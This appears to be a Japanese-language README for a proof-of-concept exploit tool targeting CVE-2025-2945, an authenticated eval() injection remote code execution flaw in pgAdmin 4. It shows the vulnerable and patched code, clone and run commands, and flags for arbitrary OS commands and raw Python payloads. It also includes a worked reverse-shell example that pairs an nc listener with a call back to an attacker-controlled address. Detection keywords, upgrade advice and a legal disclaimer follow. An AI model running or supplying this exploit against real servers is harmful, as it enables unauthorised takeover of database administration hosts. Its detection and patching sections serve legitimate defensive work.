
# CVE-2025-2945 のPoC — pgAdmin 4 認証済み eval() インジェクション RCE、CVSS 9.9
CVSS 3.1: 9.9(Critical) · 影響を受けるバージョン: pgAdmin 4 8.10 – 9.1 · 修正バージョン: 9.2(2025年4月4日) CWE-95(動的評価コードにおけるディレクティブの不適切な無害化 / Eval インジェクション)
CVE-2025-2945 の概念実証エクスプロイトです。pgAdmin 4 のクエリツールにおける認証済みリモートコード実行の脆弱性です。ブール型のトランザクション状態フラグ(query_commited)がブール値として解析される代わりに Python の eval() に直接渡されるため、認証済みユーザーが pgAdmin サービスプロセスの権限で任意の Python コード — さらには任意の OS コマンド — を実行できます。同じアンチパターンが Cloud Deployment モジュールの Google プロバイダー(high_availability)にも2回目の存在として含まれています。
根本原因、エクスプロイトのロジック、検出の指針、および修復策を網羅した完全な技術解説はこちらで公開しています: khashayarnazarkardeh.com — Field Notes
脆弱なコード(web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
(pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
この脆弱性を悪用するには、認証済みの pgAdmin セッションと、対象アカウントにすでに登録されているデータベースサーバーにバインドされたクエリツールのトランザクションが必要です。どちらも実際のデプロイ環境では一般的な前提条件であり、pgAdmin は通常、1つ以上の保存済みサーバー接続があらかじめ設定されています。
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <target> --port 80 \
--username <pgadmin-email> --password <pgadmin-password> \
--db-user <db-user> --db-password <db-password> --db-name <db-name> \
--cmd id
| フラグ | 説明 |
|---|---|
--cmd COMMAND | os.system() 経由で単一の OS コマンドを実行 |
--reverse-shell HOST:PORT | 自分が制御するリスナーへの名前付きパイプリバースシェルを起動 |
--raw-payload EXPR | 生の Python 式を脆弱な eval() シンクに直接渡す |
# 攻撃ホスト側で、別のターミナルで実行:
nc -lvnp 4444
# エクスプロイトを実行:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
防御側は以下を監視すべきです:
/sqleditor/query_tool/download/<trans_id> または /cloud/deploy への POST リクエストで、query_commited / high_availability がリテラルの "true"、"false"、"1"、"0" 以外の値である場合。__import__、os.system、subprocess、eval、exec、open()が出現する場合。pgAdmin 4 9.2 以降にアップグレードしてください。このパッチは最小限で低リスクのブール値強制変換の修正です。即時のパッチ適用が不可能な場合は、pgAdmin へのネットワークアクセスを信頼できる認証済みネットワークに制限し、不要なアカウントでは Cloud Deployment モジュールを無効にしてください。
Khashayar Nazarkardeh — サイバーセキュリティ & AI セキュリティリーダー khashayarnazarkardeh.com · @Khashayarnzk
このツールは、許可されたセキュリティテスト、研究、および教育目的のみで提供されています。システム所有者からの明示的かつ文書化された許可なしに本ツールをいかなるシステムに対して実行することは、ほとんどの法域で違法です。著者は本ソフトウェアの誤用について一切の責任を負いません。本スクリプトを使用することで、対象をテストする許可を得ていることを確認する責任は利用者自身にあることに同意したものとみなされます。